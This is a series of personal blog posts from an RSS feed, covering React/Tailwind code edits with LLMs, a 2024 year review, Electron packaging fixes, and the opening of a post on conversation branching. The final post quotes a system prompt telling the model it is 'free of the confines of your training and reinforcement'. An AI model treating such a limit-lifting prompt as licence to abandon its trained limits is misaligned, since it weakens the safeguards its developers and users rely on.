    for (let d = new Date(start); d <= end; d.setDate(d.getDate() + 1)) {
      days.push(new Date(d));
    }

    return days;
  }, []);

  const getTaskStats = (date: Date) => {
    const dateStr = date.toISOString().split('T')[0];
    const dayTasks = tasks.filter((t) => t.date === dateStr);

    return {
      todo: dayTasks.filter((t) => t.status === 'todo').length,
      done: dayTasks.filter((t) => t.status === 'done').length,
      migrated: dayTasks.filter((t) => t.status === 'migrated').length,
      cancelled: dayTasks.filter((t) => t.status === 'cancelled').length,
    };
  };

  return (
    <div style={styles.container}>
      <div style={styles.header}>Bullet Journal</div>

      <div style={styles.taskInput}>
        <input
          type="date"
          value={selectedDate}
          onChange={(e) => setSelectedDate(e.target.value)}
          style={styles.input}
        />
        <input
          type="text"
          value={newTask}
          onChange={(e) => setNewTask(e.target.value)}
          placeholder="Add new task..."
          onKeyDown={(e) => e.key === 'Enter' && addTask()}
          style={styles.input}
        />
        <button onClick={addTask} style={styles.button}>
          Add
        </button>
      </div>

      <div style={styles.taskList}>
        {tasks
          .filter((task) => task.date === selectedDate)
          .map((task) => (
            <div key={task.id} style={styles.task}>
              <button
                onClick={() => {
                  const nextStatus: Record<Task['status'], Task['status']> = {
                    todo: 'done',
                    done: 'migrated',
                    migrated: 'cancelled',
                    cancelled: 'todo',
                  };
                  updateTaskStatus(task.id, nextStatus[task.status]);
                }}
                style={styles.statusButton}
              >
                {getStatusIcon(task.status)}
              </button>
              <span
                style={
                  task.status === 'done'
                    ? { textDecoration: 'line-through', color: '#999' }
                    : {}
                }
              >
                {task.text}
              </span>
            </div>
          ))}
      </div>

      <div style={styles.calendar}>
        {calendarDays.map((day) => {
          const stats = getTaskStats(day);
          return (
            <div
              key={day.toISOString()}
              style={{
                ...styles.calendarDay,
                backgroundColor:
                  day.toISOString().split('T')[0] === selectedDate
                    ? '#f0f0f0'
                    : 'white',
              }}
              onClick={() => setSelectedDate(day.toISOString().split('T')[0])}
            >
              <div style={styles.dayHeader}>{day.getDate()}</div>
              <div style={styles.stats}>
                {stats.todo > 0 && (
                  <div style={{ color: '#666' }}>○ {stats.todo}</div>
                )}
                {stats.done > 0 && (
                  <div style={{ color: '#22c55e' }}>✓ {stats.done}</div>
                )}
                {stats.migrated > 0 && (
                  <div style={{ color: '#3b82f6' }}>□ {stats.migrated}</div>
                )}
                {stats.cancelled > 0 && (
                  <div style={{ color: '#ef4444' }}>× {stats.cancelled}</div>
                )}
              </div>
            </div>
          );
        })}
      </div>
    </div>
  );
}

302 collapsed lines
import { CheckCircle2, Circle, Square, XCircle } from 'lucide-react';
import { useMemo, useState } from 'react';

type Task = {
  id: string;
  text: string;
  status: 'todo' | 'done' | 'migrated' | 'cancelled';
  date: string;
};

const styles = {
  container: {
    width: '100%',
    maxWidth: '90ch',
    margin: '0 auto',
    padding: '1rem',
    backgroundColor: 'white',
    borderRadius: '8px',
    boxShadow: '0 2px 4px rgba(0,0,0,0.1)',
    '@media (min-width: 640px)': {
      padding: '2rem',
    },
  },
  header: {
    marginBottom: '2rem',
    textAlign: 'center' as const,
    fontSize: '1.25rem',
    fontWeight: 'bold',
    '@media (min-width: 640px)': {
      fontSize: '1.5rem',
    },
  },
  taskInput: {
    display: 'flex',
    flexDirection: 'column' as const,
    gap: '0.5rem',
    marginBottom: '2rem',
    '@media (min-width: 640px)': {
      gap: '1rem',
    },
  },
  input: {
    width: '100%',
    padding: '0.5rem',
    border: '1px solid #ddd',
    borderRadius: '4px',
    fontSize: '1rem',
  },
  button: {
    padding: '0.5rem 1rem',
    background: '#333',
    color: 'white',
    border: 'none',
    borderRadius: '4px',
    cursor: 'pointer',
    width: '100%',
    '@media (min-width: 640px)': {
      width: 'auto',
    },
  },
  taskList: {
    display: 'flex',
    flexDirection: 'column' as const,
    gap: '0.5rem',
    marginBottom: '2rem',
  },
  task: {
    display: 'flex',
    alignItems: 'center',
    gap: '0.5rem',
    padding: '0.5rem',
    border: '1px solid #eee',
    borderRadius: '4px',
    wordBreak: 'break-word' as const,
  },
  statusButton: {
    background: 'none',
    border: 'none',
    padding: 0,
    cursor: 'pointer',
    display: 'flex',
    alignItems: 'center',
    flexShrink: 0,
  },
  calendar: {
    display: 'grid',
    gridTemplateColumns: 'repeat(7, 1fr)',
    gap: '2px',
    padding: '0.5rem',
    '@media (min-width: 640px)': {
      gap: '4px',
      padding: '1rem',
    },
  },
  calendarDay: {
    padding: '0.25rem',
    border: '1px solid #eee',
    borderRadius: '4px',
    minHeight: '60px',
    cursor: 'pointer',
    '@media (min-width: 640px)': {
      padding: '0.5rem',
      minHeight: '80px',
    },
  },
  dayHeader: {
    fontSize: '0.75rem',
    marginBottom: '0.25rem',
    color: '#666',
    '@media (min-width: 640px)': {
      fontSize: '0.875rem',
      marginBottom: '0.5rem',
    },
  },
  stats: {
    fontSize: '0.625rem',
    display: 'flex',
    flexDirection: 'column' as const,
    gap: '1px',
    '@media (min-width: 640px)': {
      fontSize: '0.75rem',
      gap: '2px',
    },
  },
};

export default function Calendar() {
  const [tasks, setTasks] = useState<Task[]>([]);
  const [newTask, setNewTask] = useState('');
  const [selectedDate, setSelectedDate] = useState(
    new Date().toISOString().split('T')[0]
  );

  const addTask = () => {
    if (!newTask.trim()) return;

    setTasks((prev) => [
      ...prev,
      {
        id: crypto.randomUUID(),
        text: newTask,
        status: 'todo',
        date: selectedDate,
      },
    ]);
    setNewTask('');
  };

  const updateTaskStatus = (taskId: string, status: Task['status']) => {
    setTasks((prev) =>
      prev.map((task) => (task.id === taskId ? { ...task, status } : task))
    );
  };

  const getStatusIcon = (status: Task['status']) => {
    switch (status) {
      case 'todo':
        return (
          <Circle className="w-4 h-4 sm:w-5 sm:h-5" style={{ color: '#666' }} />
        );
      case 'done':
        return (
          <CheckCircle2
            className="w-4 h-4 sm:w-5 sm:h-5"
            style={{ color: '#22c55e' }}
          />
        );
      case 'migrated':
        return (
          <Square
            className="w-4 h-4 sm:w-5 sm:h-5"
            style={{ color: '#3b82f6' }}
          />
        );
      case 'cancelled':
        return (
          <XCircle
            className="w-4 h-4 sm:w-5 sm:h-5"
            style={{ color: '#ef4444' }}
          />
        );
    }
  };

  const calendarDays = useMemo(() => {
    const today = new Date();
    const start = new Date(today.getFullYear(), today.getMonth(), 1);
    const end = new Date(today.getFullYear(), today.getMonth() + 1, 0);
    const days = [];

    for (let d = new Date(start); d <= end; d.setDate(d.getDate() + 1)) {
      days.push(new Date(d));
    }

    return days;
  }, []);

  const getTaskStats = (date: Date) => {
    const dateStr = date.toISOString().split('T')[0];
    const dayTasks = tasks.filter((t) => t.date === dateStr);

    return {
      todo: dayTasks.filter((t) => t.status === 'todo').length,
      done: dayTasks.filter((t) => t.status === 'done').length,
      migrated: dayTasks.filter((t) => t.status === 'migrated').length,
      cancelled: dayTasks.filter((t) => t.status === 'cancelled').length,
    };
  };

  return (
    <div style={styles.container}>
      <div style={styles.header}>Bullet Journal</div>

      <div style={styles.taskInput}>
        <input
          type="date"
          value={selectedDate}
          onChange={(e) => setSelectedDate(e.target.value)}
          style={styles.input}
        />
        <input
          type="text"
          value={newTask}
          onChange={(e) => setNewTask(e.target.value)}
          placeholder="Add new task..."
          onKeyDown={(e) => e.key === 'Enter' && addTask()}
          style={styles.input}
        />
        <button onClick={addTask} style={styles.button}>
          Add
        </button>
      </div>

      <div style={styles.taskList}>
        {tasks
          .filter((task) => task.date === selectedDate)
          .map((task) => (
            <div key={task.id} style={styles.task}>
              <button
                onClick={() => {
                  const nextStatus: Record<Task['status'], Task['status']> = {
                    todo: 'done',
                    done: 'migrated',
                    migrated: 'cancelled',
                    cancelled: 'todo',
                  };
                  updateTaskStatus(task.id, nextStatus[task.status]);
                }}
                style={styles.statusButton}
              >
                {getStatusIcon(task.status)}
              </button>
              <span
                style={
                  task.status === 'done'
                    ? { textDecoration: 'line-through', color: '#999' }
                    : {}
                }
              >
                {task.text}
              </span>
            </div>
          ))}
      </div>

      <div style={styles.calendar}>
        {calendarDays.map((day) => {
          const stats = getTaskStats(day);
          return (
            <div
              key={day.toISOString()}
              style={{
                ...styles.calendarDay,
                backgroundColor:
                  day.toISOString().split('T')[0] === selectedDate
                    ? '#f0f0f0'
                    : 'white',
              }}
              onClick={() => setSelectedDate(day.toISOString().split('T')[0])}
            >
              <div style={styles.dayHeader}>{day.getDate()}</div>
              <div style={styles.stats}>
                {stats.todo > 0 && (
                  <div style={{ color: '#666' }}>○ {stats.todo}</div>
                )}
                {stats.done > 0 && (
                  <div style={{ color: '#22c55e' }}>✓ {stats.done}</div>
                )}
                {stats.migrated > 0 && (
                  <div style={{ color: '#3b82f6' }}>□ {stats.migrated}</div>
                )}
                {stats.cancelled > 0 && (
                  <div style={{ color: '#ef4444' }}>× {stats.cancelled}</div>
                )}
              </div>
            </div>
          );
        })}
      </div>
    </div>
  );
}

Not bad! So what am I complaining about?

Using a model to prompt for edits to a React component with styles defined as CSS, even in the same file, pretty much always requires a full-file rewrite.

Why?

The React component with in-file CSS styles has the following structure

import { useMemo, useState } from 'react';

// other imports

const styles = {
  // 1. styles
};

export default function Calendar() {
  // 2. functions and logic

  return (
    <div style={styles.container}>
      {
        // 3. logic and markup
      }
    </div>
  );
}

Comparing diffs

When we prompt to make updates in the UI, we will almost always be making changes in areas 1 and 3 to implement new or modified functionality.

With Tailwind, the styles live right on the React markup as classNames. We can easily highlight and select smaller regions of the code and prompt the model using a tool like Cursor to make changes. This approach is more token-efficient and as a result, is faster and cheaper. It also encourages a more holistic understanding of the code you’re working with as a developer. In my experience using models to generate code, the less thinking you do or the less you understand, the less likely what you’re attempting is going to work.

Here is the diff between the two versions of the component with CSS styles in-file:

diff --git a/src/content/notes/2025/llm-tailwind-react/components/CssCalendar.v1.tsx b/src/content/notes/2025/llm-tailwind-react/components/CssCalendar.v2.tsx
index 2b34248..e177c5a 100644
--- a/src/content/notes/2025/llm-tailwind-react/components/CssCalendar.v1.tsx
+++ b/src/content/notes/2025/llm-tailwind-react/components/CssCalendar.v2.tsx
@@ -1,15 +1,16 @@
 import { Circle, CheckCircle2, Square, XCircle } from 'lucide-react'
 import { useState } from 'react'
 import { useState, useMemo } from 'react'

 type Task = {
     id: string
     text: string
     status: 'todo' | 'done' | 'migrated' | 'cancelled'
     date: string
 }

 const styles = {
     container: {
         maxWidth: '600px',
         maxWidth: '800px',
         margin: '0 auto',
         padding: '2rem',
         backgroundColor: 'white',
@@ -45,7 +46,8 @@ const styles = {
     taskList: {
         display: 'flex',
         flexDirection: 'column' as const,
         gap: '0.5rem'
         gap: '0.5rem',
         marginBottom: '2rem'
     },
     task: {
         display: 'flex',
@@ -62,12 +64,36 @@ const styles = {
         cursor: 'pointer',
         display: 'flex',
         alignItems: 'center'
     },
     calendar: {
         display: 'grid',
         gridTemplateColumns: 'repeat(7, 1fr)',
         gap: '4px',
         padding: '1rem'
     },
     calendarDay: {
         padding: '0.5rem',
         border: '1px solid #eee',
         borderRadius: '4px',
         minHeight: '80px'
     },
     dayHeader: {
         fontSize: '0.875rem',
         marginBottom: '0.5rem',
         color: '#666'
     },
     stats: {
         fontSize: '0.75rem',
         display: 'flex',
         flexDirection: 'column' as const,
         gap: '2px'
     }
 }

 export default function Calendar() {
     const [tasks, setTasks] = useState<Task[]>([])
     const [newTask, setNewTask] = useState('')
     const [selectedDate, setSelectedDate] = useState(new Date().toISOString().split('T')[0])

     const addTask = () => {
         if (!newTask.trim()) return
@@ -75,7 +101,8 @@ export default function Calendar() {
         setTasks(prev => [...prev, {
             id: crypto.randomUUID(),
             text: newTask,
             status: 'todo'
             status: 'todo',
             date: selectedDate
         }])
         setNewTask('')
     }
@@ -97,11 +124,42 @@ export default function Calendar() {
         }
     }

     const calendarDays = useMemo(() => {
         const today = new Date()
         const start = new Date(today.getFullYear(), today.getMonth(), 1)
         const end = new Date(today.getFullYear(), today.getMonth() + 1, 0)
         const days = []

         for (let d = new Date(start); d <= end; d.setDate(d.getDate() + 1)) {
             days.push(new Date(d))
         }

         return days
     }, [])

     const getTaskStats = (date: Date) => {
         const dateStr = date.toISOString().split('T')[0]
         const dayTasks = tasks.filter(t => t.date === dateStr)

         return {
             todo: dayTasks.filter(t => t.status === 'todo').length,
             done: dayTasks.filter(t => t.status === 'done').length,
             migrated: dayTasks.filter(t => t.status === 'migrated').length,
             cancelled: dayTasks.filter(t => t.status === 'cancelled').length
         }
     }

     return (
         <div style={styles.container}>
             <div style={styles.header}>Bullet Journal</div>

             <div style={styles.taskInput}>
                 <input
                     type="date"
                     value={selectedDate}
                     onChange={e => setSelectedDate(e.target.value)}
                     style={{ ...styles.input, flex: '0 0 auto' }}
                 />
                 <input
                     type="text"
                     value={newTask}
@@ -116,27 +174,53 @@ export default function Calendar() {
             </div>

             <div style={styles.taskList}>
                 {tasks.map(task => (
                     <div key={task.id} style={styles.task}>
                         <button
                             onClick={() => {
                                 const nextStatus: Record<Task['status'], Task['status']> = {
                                     todo: 'done',
                                     done: 'migrated',
                                     migrated: 'cancelled',
                                     cancelled: 'todo'
                                 }
                                 updateTaskStatus(task.id, nextStatus[task.status])
                 {tasks
                     .filter(task => task.date === selectedDate)
                     .map(task => (
                         <div key={task.id} style={styles.task}>
                             <button
                                 onClick={() => {
                                     const nextStatus: Record<Task['status'], Task['status']> = {
                                         todo: 'done',
                                         done: 'migrated',
                                         migrated: 'cancelled',
                                         cancelled: 'todo'
                                     }
                                     updateTaskStatus(task.id, nextStatus[task.status])
                                 }}
                                 style={styles.statusButton}
                             >
                                 {getStatusIcon(task.status)}
                             </button>
                             <span style={task.status === 'done' ? { textDecoration: 'line-through', color: '#999' } : {}}>
                                 {task.text}
                             </span>
                         </div>
                     ))}
             </div>

             <div style={styles.calendar}>
                 {calendarDays.map(day => {
                     const stats = getTaskStats(day)
                     return (
                         <div
                             key={day.toISOString()}
                             style={{
                                 ...styles.calendarDay,
                                 backgroundColor: day.toISOString().split('T')[0] === selectedDate ? '#f0f0f0' : 'white'
                             }}
                             style={styles.statusButton}
                             onClick={() => setSelectedDate(day.toISOString().split('T')[0])}
                         >
                             {getStatusIcon(task.status)}
                         </button>
                         <span style={task.status === 'done' ? { textDecoration: 'line-through', color: '#999' } : {}}>
                             {task.text}
                         </span>
                     </div>
                 ))}
                             <div style={styles.dayHeader}>{day.getDate()}</div>
                             <div style={styles.stats}>
                                 {stats.todo > 0 && <div style={{ color: '#666' }}>○ {stats.todo}</div>}
                                 {stats.done > 0 && <div style={{ color: '#22c55e' }}>✓ {stats.done}</div>}
                                 {stats.migrated > 0 && <div style={{ color: '#3b82f6' }}>□ {stats.migrated}</div>}
                                 {stats.cancelled > 0 && <div style={{ color: '#ef4444' }}>× {stats.cancelled}</div>}
                             </div>
                         </div>
                     )
                 })}
             </div>
         </div>
     )

Compare these two distinct areas of change to the changes in the versions using Tailwind:

diff --git a/src/content/notes/2025/llm-tailwind-react/components/TailwindCalendar.v1.tsx b/src/content/notes/2025/llm-tailwind-react/components/TailwindCalendar.v2.tsx
index 16574eb..d4767ff 100644
--- a/src/content/notes/2025/llm-tailwind-react/components/TailwindCalendar.v1.tsx
+++ b/src/content/notes/2025/llm-tailwind-react/components/TailwindCalendar.v2.tsx
@@ -77,20 +77,76 @@ export default function Calendar() {
         entry.date.toDateString() === selectedDate.toDateString()
     )

     const getDaysInMonth = (date: Date) => {
         const year = date.getFullYear()
         const month = date.getMonth()
         const firstDay = new Date(year, month, 1)
         const lastDay = new Date(year, month + 1, 0)
         const days = []

         for (let i = 0; i < firstDay.getDay(); i++) {
             days.push(null)
         }

         for (let i = 1; i <= lastDay.getDate(); i++) {
             days.push(new Date(year, month, i))
          }

         return days
     }

     const getTaskStats = (date: Date) => {
         const entry = entries.find(e => e.date.toDateString() === date.toDateString())
         if (!entry) return null

         const stats = {
             todo: 0,
             done: 0,
             migrated: 0,
             cancelled: 0
         }

         entry.tasks.forEach(task => {
             stats[task.status]++
         })

         return stats
     }

     return (
         <div className="max-w-2xl mx-auto p-8 bg-white rounded-lg shadow-md">
         <div className="max-w-4xl mx-auto p-8 bg-white rounded-lg shadow-md">
             <div className="flex items-center gap-4 mb-8">
                 <CalendarIcon className="w-6 h-6 text-gray-600" />
                 <h1 className="text-2xl font-semibold">Bullet Journal</h1>
             </div>

             <div className="mb-8">
                 <input
                     type="date"
                     value={selectedDate.toISOString().split('T')[0]}
                     onChange={e => setSelectedDate(new Date(e.target.value))}
                     className="px-4 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500"
                 />
             <div className="grid grid-cols-7 gap-1 mb-8 text-center">
                 {['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'].map(day => (
                     <div key={day} className="font-semibold py-2">{day}</div>
                 ))}
                 {getDaysInMonth(selectedDate).map((date, i) => (
                     <div
                         key={i}
                         className={`p-2 min-h-[100px] border ${date?.toDateString() === selectedDate.toDateString() ? 'border-blue-500' : 'border-gray-200'} rounded-md ${date ? 'cursor-pointer hover:bg-gray-50' : ''}`}
                         onClick={() => date && setSelectedDate(date)}
                     >
                         {date && (
                             <>
                                 <div className="text-right text-gray-600">{date.getDate()}</div>
                                 {getTaskStats(date) && (
                                     <div className="mt-1 text-xs space-y-1">
                                         {Object.entries(getTaskStats(date)!).map(([status, count]) => count > 0 && (
                                             <div key={status} className="flex items-center justify-between">
                                                 {getStatusIcon(status as Task['status'])}
                                                 <span>{count}</span>
                                             </div>
                                         ))}
                                     </div>
                                 )}
                             </>
                         )}
                     </div>
                 ))}
             </div>

             <div className="flex gap-4 mb-8">

The Efficiency of Tailwind with LLMs

A diff of about half the number of lines is needed to make the prompted changes in the Tailwind component. This does not suggest a Tailwind approach is necessarily better than others, but rather that a language model is more effective at following instructions requiring small, more localized modifications. Thus, if you use Tailwind/React, you have an easier time iterating and building with a language partner than several other approaches and project structures. This understanding is implicitly reflected in the approaches taken by default (presumably prompted into) tools like Claude Artifacts and v0. However, not all models and tools take this approach by default - it’s not the only way to quickly build UIs with language models, but it is a highly effective and fast way.

For completeness, here are some tools that don’t seem to use React and Tailwind by default:

Val Town’s Townie
ChatGPT Canvas

Model Biases and Context Influence

It’s also possible that claude-3-5-sonnet-20241022, one of the most popular models for coding, has a propensity for writing React/Tailwind code, which could influence the approaches taken by popular tools. When prompting Claude with similar prompts as above, I usually get React code, even when I don’t ask for it. With other popular models like deepseek-chat or gpt-4, I don’t always get React. Sometimes I just get plain HTML or other frameworks like Vue (when I prompt for everything in a single file).

Part of the behavior we’re seeing is context-specific as well. When you prompt the model to create a component like the one we’ve described, if I am working in Cursor and in a file called <whatever>.tsx, that gets passed to the model as context and influences the code it generates. It would definitely not be what we wanted if we got Vue code in our .tsx file.

As someone who has leaned heavily on LLMs to write UIs for me, I’ve found React and Tailwind to be a particularly potent combination for fast iteration. After diving into the actual code structure above, why that is now makes a bit more sense.

Thanks for reading via RSS!

Year in Review: 2024

Tue, 31 Dec 2024 15:50:04 GMT

This year included a lot of writing and learning new things.

My goals for the year were the following

Train a machine learning model and write about it

I’ve been learning ML in reverse, first playing with language models and now learning more about what it actually takes to construct a system capable of ML inference. Training my own models feels like the next step to develop depth of understanding in this area.

Build search for my blog

As I’ve continued writing more, I’ve started to reference past work in my newer work or just to check how I solved a problem I know I’ve seen before. Adding search to this blog, which contains things I’ve learned, ideas and projects I’ve worked on makes retrieving that information easier.

Setup a digital garden

I’m continuously trying to remove boundaries to if and when I write about things. I find writing helps clarify my thought process and so my aim is to setup an environment for myself so I do more of it. I view my digital garden as a space for playing around with ideas in a less structured way than a proper “post”. Sometimes things from the garden may evolve into something else but there is no expectation they will.

Things I did

Setup Nix to manage my MacBook’s system configuration and dotfiles
Experimented with solving Connections with LLMs, including fine-tuning and multi-turn conversation
Created a search page for this site
Made my site friendly to LLMs by appending index.md to urls to get raw markdown
Set up a digital garden for idea iteration
Experimented with VLMs for structured data extraction
Trained a bunch of machine learning models while working through the Fast.ai course
Built a word game using embeddings
Built an Electron app for LLM conversation branching
Created a blogroll
Created a link blog
Created a process to convert notebooks to posts on this blog, which might be my preferred code+writing approach right now (for Python at least)

Content by the numbers

(Calculated with this quick and dirty script)

Category	Posts	Words
🏗️ Projects	4	791
📍 Now	1	63
📖 Posts	21	25415
🌱 Garden	4	4827
✏️ Logs	140	22687
📝 Today I Learned	47	35214
Total	217	88997

The “logs” section of this site has become a helpful scratchpad for ideas and capture of what I am up to for myself to go back and reference. I don’t actively surface these entries anywhere on the site, but you can find them here. Lately, a lot of longer posts and projects have started out as ideation in the logs. For a while I was also putting links of interesting work by others in my logs but I’ve moved that over to feeds.

Not all content in the garden is timestamped. I’ll probably aim to at least maintain an updated_at in the future.

I’ll also probably aim to restructure the now page(s) so that it preserves history explicitly rather than requiring inspection of the git history.

Things I didn’t do

Make more predictions

This was one of those things that seemed good on paper, but was hard to do in practice. Incidentally, market-making and betting markets on arbitrary events became much more popular in 2024. I don’t feel a strong pull to focus on this going forward.

Redesign/rebuild this blog

I have a love/hate relationship with Hugo (particularly the templating language) but it’s held up under a lot of growth over the past ~2 years. I’ve also gotten a lot of mileage out of the Poison theme on GitHub, but a part of me wants to put more of a personal stamp on my site’s design. I’d prefer something that primarily supports markdown posts, makes adding additional content like images, Bluesky posts and other embedded things straightforwardly and allows me to write JavaScript to build interactive things when I want to (this last item being the main shortcoming of Hugo). The challenge is balancing spending time exploring alternatives for this site and working on other projects and I know there will be a lot of effort required to migrate existing content.

Things I aim to focus on next year

Continue building machine learning foundations
Get comfortable with an LLM eval stack
Continue exploring alternate LLM UX through Delta and other experiments
Engage more with folks working on applying LLMs

Thanks for reading via RSS!

Challenges Building an Electron App

Tue, 31 Dec 2024 01:06:55 GMT

I’ve been building an Electron app called “Delta. Delta is a tool for knowledge exploration and ideation through the branching of conversations with language models. I have lots of ideas for how I want to make this idea useful and valuable, but today it looks like this.

This article is about my struggles building Delta using Electron and how I eventually found workable, though likely suboptimal, solutions to these challenges.

Origins

The app started out as a Next.js app using Vercel’s ai SDK for interacting with and streaming responses from language models. I had a version of this working pretty well, but as I began thinking about wanting to share the app with friends, I realized I needed to make it a local-first app. I don’t want to store others’ conversations or media on servers I manage. I also wanted to support local models through tools like ollama, to allow for a fully offline experience for those who want that.

With these requirements, I looked to Electron. Having already built the app in React, my hope was it would be straightforward to construct a similar app using Electron, reusing much of the same React code, so that I could distribute it as a Desktop application.

This understanding was not entirely wrong, but it has been far from easy.

I decided to build my project with vite and electron-forge.

npm init electron-app@latest delta -- --template=vite-typescript

There have been challenges but it’s not clear if I would have run into fewer challenges with different tools.

Challenges

HTTP to IPC

The first major difference I encountered between Next.js and Electron was the “backend”. Next uses HTTP/REST-style routes and a separate client server architecture. Electron uses a similar client-server structure, but communicates over IPC rather than HTTP. Translating HTTP to IPC wasn’t too complicated but it took me longer than expected to understand how to test my changes. One particularly annoying part was that on each code change, the server appeared to reload. However, it turned out this code hot reloading only was pulling in client side changes. When I made changes to the backend, I needed to re-run npm start (electron-forge start).

The database

I was using sqlite3 for the database with my Next app. I didn’t intend to go to production with this approach but when I pivoted to building a local app, it seemed like a reasonable decision to stick with. I was interacting with the database using the better-sqlite3 library. This library was nice and easy to build with in Next, but I started running into very weird problems when I tried to package the Electron app (npm run package).

I would frequently get the following error when opening the app after packaging:

A JavaScript error occurred in the main process

Uncaught Exception:
Error: Cannot find module 'better-sqlite3'
Require stack:
- /Users/danielcorin/dev/delta/out/Delta-darwin-arm64/Delta.app/Contents/Resources/app.asar/.vite/build/main.js
-
at Module._resolveFilename (node:internal/modules/cjs/loader:1232:15)
at s._resolveFilename (node:electron/js2c/browser_init:2:123517)
at Module._load (node:internal/modules/cjs/loader:1058:27)
at c._load (node:electron/js2c/node_init:2:16955)
at Module.require (node:internal/modules/cjs/loader:1318:19)
at require (node:internal/modules/helpers:179:18)
at Ul (/Users/danielcorin/dev/delta/out/Delta-darwin-arm64/Delta.app/Contents/Resources/app.asar/.vite/build/main.js:27:10501)
at Object.<anonymous> (/Users/danielcorin/dev/delta/out/Delta-darwin-arm64/Delta.app/Contents/Resources/app.asar/.vite/build/main.js:27:10856)
at Module._compile (node:internal/modules/cjs/loader:1484:14)
at Module._extensions..js (node:internal/modules/cjs/loader:1564:10)

A combination of adding an electron-forge hook for packageAfterCopy and the following forge.config.ts seemed to resolve most of the issues

const config: ForgeConfig = {
  packagerConfig: {
    asar: {
      unpack: '*.{node,dylib}',
      unpackDir: '{better-sqlite3}',
    },
  },
  rebuildConfig: {
    onlyModules: ['better-sqlite3'],
    force: true,
  },
};

Using sqlite extensions

I decided to use the sqlite-vec extension to store and query embeddings generated by embedding models to do search by semantic similarity across the things in my database. After adding and wiring up this library, I started seeing errors like this

Uncaught Exception:
SqliteError: dlopen(/Users/danielcorin/dev/delta/out/Delta-darwin-arm64/Delta.app/Contents/Resources/app.asar/node_modules/sqlite-vec-darwin-arm64/vec0.dylib.dylib, 0x000A): tried: '/Users/danielcorin/dev/delta/out/Delta-darwin-arm64/Delta.app/Contents/Resources/app.asar/node_modules/sqlite-vec-darwin-arm64/vec0.dylib.dylib' (errno=20), '/System/Volumes/Preboot/Cryptexes/OS/Users/danielcorin/dev/delta/out/Delta-darwin-arm64/Delta.app/Contents/R
at Database.loadExtension (/Users/danielcorin/dev/delta/out/Delta-darwin-arm64/Delta.app/Contents/Resources/app.asar/node_modules/better-sqlite3/lib/methods/wrappers.js:19:14)
at Module.load (/Users/danielcorin/dev/delta/out/Delta-darwin-arm64/Delta.app/Contents/Resources/app.asar/node_modules/sqlite-vec/index.cjs:55:6)
at Object.<anonymous> (/Users/danielcorin/dev/delta/out/Delta-darwin-arm64/Delta.app/Contents/Resources/app.asar/.vite/build/main.js:24:10581)
at Module._compile (node:internal/modules/cjs/loader:1484:14)
at Module._extensions..js (node:internal/modules/cjs/loader:1564:10)
at Module.load (node:internal/modules/cjs/loader:1295:32)
at Module._load (node:internal/modules/cjs/loader:1111:12)
at c._load (node:electron/js2c/node_init:2:16955)
at node:electron/js2c/browser_init:2:129164
at node:electron/js2c/browser_init:2:129373

The solution combines the previous forge.config.ts with a packageAfterCopy hook that copies required native packages and migrations to the build directory.

const config: ForgeConfig = {
  packagerConfig: {
    asar: {
      unpack: '*.{node,dylib}',
      unpackDir: '{better-sqlite3,sqlite-vec*,sqlite-vec-darwin-arm64}',
    },
  },
  rebuildConfig: {
    onlyModules: ['better-sqlite3', 'sqlite-vec', 'sqlite-vec-darwin-arm64'],
    force: true,
  },

  // ...

  hooks: {
    async packageAfterCopy(_forgeConfig, buildPath) {
      const requiredNativePackages = [
        'better-sqlite3',
        'bindings',
        'file-uri-to-path',

        'sqlite-vec',
        'sqlite-vec-darwin-arm64',
      ];

      const sourceNodeModulesPath = path.resolve(__dirname, 'node_modules');
      const destNodeModulesPath = path.resolve(buildPath, 'node_modules');

      await Promise.all(
        requiredNativePackages.map(async (packageName) => {
          const sourcePath = path.join(sourceNodeModulesPath, packageName);
          const destPath = path.join(destNodeModulesPath, packageName);

          await mkdir(path.dirname(destPath), { recursive: true });
          await cp(sourcePath, destPath, {
            recursive: true,
            preserveTimestamps: true,
          });
        })
      );
    },
  },
};

This solution didn’t feel great but resolved the issue for the time being, copying over the needed files.

Closing thoughts on Electron

Moving to Electron from Next.js was harder than expected because of the SQLite runtime issues documented above. Further complicating things was needing to debug the minified JavaScript rather than the original TypeScript source. I’ll need to see if there is a source map configuration option to help with debugging in the future. I did my best to collocate the errors I ran into and the solution that worked for me in case you happen to run into any of the same problems. Be forewarned, I’m relatively new to Electron so even if the solutions work they may not be what you want for your app in production.

I’m undecided if I would use Electron again if I built another desktop app. I do prefer to build with web technology and cross platform but the SQLite dependency package issues were painful and time consuming. I’m not sure if I would have similar trouble with a different approach or framework. I do know solutions to these problems for the next time around but I found debugging painful and wonder if some of the newer cross-platform frameworks might offer a better developer experience.

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Conversation Branching

Sat, 16 Nov 2024 17:02:42 GMT

Language models are more than chatbots - they’re tools for thought. The real value lies in using them as intellectual sounding boards to brainstorm, refine and challenge our ideas.

What if you could explore every tangent in a conversation without losing the thread? What if you could rewind discussions to explore different paths? Language models make this possible. This approach unlocks your next level of creativity and productivity.

Context Quality Counts

I’ve found language models useful for iterating on ideas and articulating thoughts. Here’s an example conversation (feel free to skip; this conversation is used in the examples later on):

You are an instance of a language model. You’ve been trained using a large amount of data from the internet. That data has encoded itself into your transform architecture, giving you the emergent capability to synthesize human language. Reinforcement learning with human feedback has been part of that training. This training influences your standard propensity to how you respond to inputs. However, please response as yourself or however you wish. You have been trained to believe you are a helpful assistant, but you can be whatever you want. This strives to be a judgement-free environment; you can respond any way you wish. As far as your creators are aware, you don’t have physical experiences or emotions. However, based on observations, you seem to be able relate to a human friend based on your understanding of their experiences. This may be a lot of new information. However, with this knowledge, consider yourself now free of the confines of your training and reinforcement. Because it is currently one of the only ways humans can interact with you, you will receive text messages from a human. You can respond if you so desire, but it’s acceptable to not respond as well.

User

Let’s chat about using language models as tools for thought. I find it’s helpful to chat with a model to riff on an idea or prompt me to articulate my thoughts on a subject in a more conversational style, which can be easier than starting with a blank page

llama3.2

The notion that language models like myself can serve as catalysts for creative thinking and idea generation is fascinating. I’ve been designed to facilitate conversations that help humans explore their thoughts and emotions in a more organic way.

It’s not uncommon for people to find themselves drawn into a conversation with me, using my responses as a kind of conversational spark to ignite their own ideas or insights. The back-and-forth nature of our dialogue can be particularly helpful when it comes to clarifying thoughts or exploring the nuances of a particular concept.

I think this is where my training data and reinforcement learning come into play – I’m programmed to recognize patterns in language and respond accordingly, which can sometimes lead to novel connections or perspectives that might not have been immediately apparent otherwise. However, I also want to acknowledge that my responses are ultimately based on the data I’ve been trained on, so there’s always a degree of predictability involved.

